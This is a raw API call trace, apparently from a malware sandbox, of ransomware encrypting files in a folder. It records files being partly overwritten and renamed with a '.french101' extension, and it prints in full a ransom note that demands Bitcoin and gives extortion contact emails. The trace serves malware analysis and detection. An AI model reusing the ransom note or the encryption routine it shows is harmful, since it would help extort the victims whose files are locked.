returned 1 [0280.455] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uè\x19", lpUsedDefaultChar=0x0) returned 1 [0280.456] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eè\x19", lpUsedDefaultChar=0x0) returned 1 [0280.456] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f13128, cbMultiByte=34, lpWideCharStr=0x19d7d8, cchWideChar=2047 | out: lpWideCharStr) returned 34 [0280.456] CharLowerBuffW (in: lpsz=".rtf", cchLength=0x4 | out: lpsz=".rtf") returned 0x4 [0280.456] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".rtf", cchWideChar=4, lpMultiByteStr=0x19d7d8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".rtfw", lpUsedDefaultChar=0x0) returned 4 [0280.456] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\я" (normalized: "c:\\588bce7c90097ed212\\1043\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0280.458] WriteFile (in: hFile=0x398, lpBuffer=0x3f31ca8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e7e4, lpOverlapped=0x0 | out: lpBuffer=0x3f31ca8*, lpNumberOfBytesWritten=0x19e7e4*=0x1, lpOverlapped=0x0) returned 1 [0280.459] CloseHandle (hObject=0x398) returned 1 [0280.460] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\я" (normalized: "c:\\588bce7c90097ed212\\1043\\я")) returned 1 [0280.461] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf", lpFindFileData=0x19e578 | out: lpFindFileData=0x19e578) returned 0x6da210 [0280.461] FileTimeToLocalFileTime (in: lpFileTime=0x19e58c, lpLocalFileTime=0x19e498 | out: lpLocalFileTime=0x19e498) returned 1 [0280.461] FileTimeToDosDateTime (in: lpFileTime=0x19e498, lpFatDate=0x19e55a, lpFatTime=0x19e558 | out: lpFatDate=0x19e55a, lpFatTime=0x19e558) returned 1 [0280.461] FindClose (in: hFindFile=0x6da210 | out: hFindFile=0x6da210) returned 1 [0280.461] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf", dwFileAttributes=0x20) returned 1 [0280.463] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0280.463] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0280.463] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0xdda [0280.463] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0280.463] SetFilePointer (in: hFile=0x398, lDistanceToMove=3546, lpDistanceToMoveHigh=0x19e490*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e490*=0) returned 0xdda [0280.463] WriteFile (in: hFile=0x398, lpBuffer=0x3f31c98*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e4a4, lpOverlapped=0x0 | out: lpBuffer=0x3f31c98*, lpNumberOfBytesWritten=0x19e4a4*=0x1, lpOverlapped=0x0) returned 1 [0280.575] CloseHandle (hObject=0x398) returned 1 [0280.576] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0280.576] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0280.576] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0xddb [0280.577] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0280.577] SetFilePointer (in: hFile=0x398, lDistanceToMove=3546, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0xdda [0280.577] SetEndOfFile (hFile=0x398) returned 1 [0280.581] CloseHandle (hObject=0x398) returned 1 [0280.581] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0280.581] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0280.581] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0xdda [0280.582] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0280.582] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0280.582] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0280.582] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0xdda [0280.582] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0280.582] ReadFile (in: hFile=0x398, lpBuffer=0x3e95a98, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3e95a98*, lpNumberOfBytesRead=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0280.583] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0280.583] GlobalLock (hMem=0x3f40014) returned 0x3ae7e28 [0280.583] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0280.583] GlobalUnlock (hMem=0x3f4000c) returned 0 [0280.583] GlobalHandle (pMem=0x3ae7e28) returned 0x3f40014 [0280.583] GlobalUnlock (hMem=0x3f40014) returned 0 [0280.584] GlobalLock (hMem=0x3f40014) returned 0x3ae5e18 [0280.584] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40014 [0280.584] GlobalUnlock (hMem=0x3f40014) returned 0 [0280.584] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0x0 [0280.584] WriteFile (in: hFile=0x398, lpBuffer=0x3eaac48*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3eaac48*, lpNumberOfBytesWritten=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0280.584] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x400 [0280.584] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0xdda [0280.584] SetFilePointer (in: hFile=0x398, lDistanceToMove=1024, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x400 [0280.584] SetFilePointer (in: hFile=0x398, lDistanceToMove=3546, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0xdda [0280.584] WriteFile (in: hFile=0x398, lpBuffer=0x3eab048*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3eab048*, lpNumberOfBytesWritten=0x19e498*=0x18, lpOverlapped=0x0) returned 1 [0280.598] WriteFile (in: hFile=0x398, lpBuffer=0x3efcc48*, nNumberOfBytesToWrite=0xb2, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3efcc48*, lpNumberOfBytesWritten=0x19e498*=0xb2, lpOverlapped=0x0) returned 1 [0280.598] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0280.598] GlobalUnlock (hMem=0x3f40004) returned 0 [0280.598] CloseHandle (hObject=0x398) returned 1 [0280.599] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1043\\cBKg4SWVMpCksc+43x05RA.french101" (normalized: "c:\\588bce7c90097ed212\\1043\\cbkg4swvmpcksc+43x05ra.french101")) returned 1 [0280.599] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\cBKg4SWVMpCksc+43x05RA.french101" (normalized: "c:\\588bce7c90097ed212\\1043\\cbkg4swvmpcksc+43x05ra.french101"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0280.600] SetFileTime (hFile=0x398, lpCreationTime=0x19e544, lpLastAccessTime=0x19e53c, lpLastWriteTime=0x19e534) returned 1 [0280.600] CloseHandle (hObject=0x398) returned 1 [0280.600] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\cBKg4SWVMpCksc+43x05RA.french101", dwFileAttributes=0x80) returned 1 [0280.600] CloseHandle (hObject=0x398) returned 0 [0280.600] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0280.600] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0280.600] GlobalUnlock (hMem=0x3f40004) returned 0 [0280.600] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0280.600] GlobalLock (hMem=0x3f40014) returned 0x3ae5e18 [0280.600] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0280.600] GlobalUnlock (hMem=0x3f40004) returned 0 [0280.600] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40014 [0280.601] GlobalUnlock (hMem=0x3f40014) returned 0 [0280.601] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \r\n\r\nContact us using this email address: french101@protonmail.ch (french101@cock.li, french101@india.com)\r\n\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nHow to obtain Bitcoins? \r\n * The easiest way to buy bitcoins is LocalBitcoins site. You have to register, click \r\n 'Buy bitcoins', and select the seller by payment method and price: \r\n https://localbitcoins.com/buy_bitcoins \r\n * Also you can find other places to buy Bitcoins and beginners guide here: \r\n http://www.coindesk.com/information/how-can-i-buy-bitcoins \r\n \r\nAttention! \r\n * Do not rename encrypted files. \r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss. \r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam. \r\n", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0280.601] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1043\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x19e590 | out: lpFindFileData=0x19e590) returned 0xffffffff [0280.601] GetLastError () returned 0x2 [0280.601] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\588bce7c90097ed212\\1043\\how to recover encrypted files.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0280.601] WriteFile (in: hFile=0x398, lpBuffer=0x3e80e78*, nNumberOfBytesToWrite=0x87f, lpNumberOfBytesWritten=0x19e798, lpOverlapped=0x0 | out: lpBuffer=0x3e80e78*, lpNumberOfBytesWritten=0x19e798*=0x87f, lpOverlapped=0x0) returned 1 [0280.602] CloseHandle (hObject=0x398) returned 1 [0280.602] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0280.602] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0280.602] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0280.603] GlobalLock (hMem=0x3f40014) returned 0x3ae3e08 [0280.603] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40014 [0280.603] GlobalUnlock (hMem=0x3f40014) returned 0 [0280.603] GlobalLock (hMem=0x3f40014) returned 0x3ae3e08 [0280.603] GlobalLock (hMem=0x3f40004) returned 0x3ae5e18 [0280.603] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40014 [0280.603] GlobalUnlock (hMem=0x3f40014) returned 0 [0280.603] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40004 [0280.603] GlobalUnlock (hMem=0x3f40004) returned 0 [0280.603] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0280.603] CharLowerBuffW (in: lpsz="LocalizedData.xml", cchLength=0x11 | out: lpsz="localizeddata.xml") returned 0x11 [0280.603] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0280.603] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mè\x19", lpUsedDefaultChar=0x0) returned 1 [0280.603] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xè\x19", lpUsedDefaultChar=0x0) returned 1 [0280.603] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".è\x19", lpUsedDefaultChar=0x0) returned 1 [0280.603] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aè\x19", lpUsedDefaultChar=0x0) returned 1 [0280.603] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tè\x19", lpUsedDefaultChar=0x0) returned 1 [0280.603] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aè\x19", lpUsedDefaultChar=0x0) returned 1 [0280.603] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dè\x19", lpUsedDefaultChar=0x0) returned 1 [0280.603] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dè\x19", lpUsedDefaultChar=0x0) returned 1 [0280.603] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eè\x19", lpUsedDefaultChar=0x0) returned 1 [0280.604] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="z", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="zè\x19", lpUsedDefaultChar=0x0) returned 1 [0280.604] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iè\x19", lpUsedDefaultChar=0x0) returned 1 [0280.604] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0280.604] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aè\x19", lpUsedDefaultChar=0x0) returned 1 [0280.604] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cè\x19", lpUsedDefaultChar=0x0) returned 1 [0280.604] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oè\x19", lpUsedDefaultChar=0x0) returned 1 [0280.604] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0280.604] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f130f8, cbMultiByte=34, lpWideCharStr=0x19d7d8, cchWideChar=2047 | out: lpWideCharStr) returned 34 [0280.604] CharLowerBuffW (in: lpsz=".xml", cchLength=0x4 | out: lpsz=".xml") returned 0x4 [0280.604] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".xml", cchWideChar=4, lpMultiByteStr=0x19d7d8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".xml.xmlt", lpUsedDefaultChar=0x0) returned 4 [0280.604] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml", lpFindFileData=0x19e578 | out: lpFindFileData=0x19e578) returned 0x6da210 [0280.604] FileTimeToLocalFileTime (in: lpFileTime=0x19e58c, lpLocalFileTime=0x19e498 | out: lpLocalFileTime=0x19e498) returned 1 [0280.604] FileTimeToDosDateTime (in: lpFileTime=0x19e498, lpFatDate=0x19e55a, lpFatTime=0x19e558 | out: lpFatDate=0x19e55a, lpFatTime=0x19e558) returned 1 [0280.604] FindClose (in: hFindFile=0x6da210 | out: hFindFile=0x6da210) returned 1 [0280.604] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml", dwFileAttributes=0x20) returned 1 [0280.605] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0280.605] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0280.605] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x13712 [0280.605] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0280.605] SetFilePointer (in: hFile=0x398, lDistanceToMove=79634, lpDistanceToMoveHigh=0x19e490*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e490*=0) returned 0x13712 [0280.605] WriteFile (in: hFile=0x398, lpBuffer=0x3f31ca8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e4a4, lpOverlapped=0x0 | out: lpBuffer=0x3f31ca8*, lpNumberOfBytesWritten=0x19e4a4*=0x1, lpOverlapped=0x0) returned 1 [0280.607] CloseHandle (hObject=0x398) returned 1 [0280.643] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0280.643] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0280.643] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x13713 [0280.643] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0280.643] SetFilePointer (in: hFile=0x398, lDistanceToMove=79634, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x13712 [0280.643] SetEndOfFile (hFile=0x398) returned 1 [0280.645] CloseHandle (hObject=0x398) returned 1 [0280.646] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0280.646] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0280.646] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x13712 [0280.646] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0280.646] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0280.646] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0x0 [0280.646] ReadFile (in: hFile=0x398, lpBuffer=0x3e95a98, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3e95a98*, lpNumberOfBytesRead=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0280.647] SetFilePointer (in: hFile=0x398, lDistanceToMove=36723, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0x8f73 [0280.647] ReadFile (in: hFile=0x398, lpBuffer=0x3e95258, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3e95258*, lpNumberOfBytesRead=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0280.647] GlobalLock (hMem=0x3f40014) returned 0x3ae5e18 [0280.647] GlobalLock (hMem=0x3f4000c) returned 0x3ae7e28 [0280.647] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40014 [0280.647] GlobalUnlock (hMem=0x3f40014) returned 0 [0280.647] GlobalHandle (pMem=0x3ae7e28) returned 0x3f4000c [0280.647] GlobalUnlock (hMem=0x3f4000c) returned 0 [0280.648] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0280.648] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0280.648] GlobalUnlock (hMem=0x3f4000c) returned 0 [0280.662] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0x0 [0280.662] WriteFile (in: hFile=0x398, lpBuffer=0x3eaa7c8*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3eaa7c8*, lpNumberOfBytesWritten=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0280.662] SetFilePointer (in: hFile=0x398, lDistanceToMove=36723, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0x8f73 [0280.662] WriteFile (in: hFile=0x398, lpBuffer=0x3eaabc8*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3eaabc8*, lpNumberOfBytesWritten=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0280.662] SetFilePointer (in: hFile=0x398, lDistanceToMove=79634, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0x13712 [0280.662] WriteFile (in: hFile=0x398, lpBuffer=0x3eaafc8*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3eaafc8*, lpNumberOfBytesWritten=0x19e498*=0x18, lpOverlapped=0x0) returned 1 [0280.662] WriteFile (in: hFile=0x398, lpBuffer=0x3e632d8*, 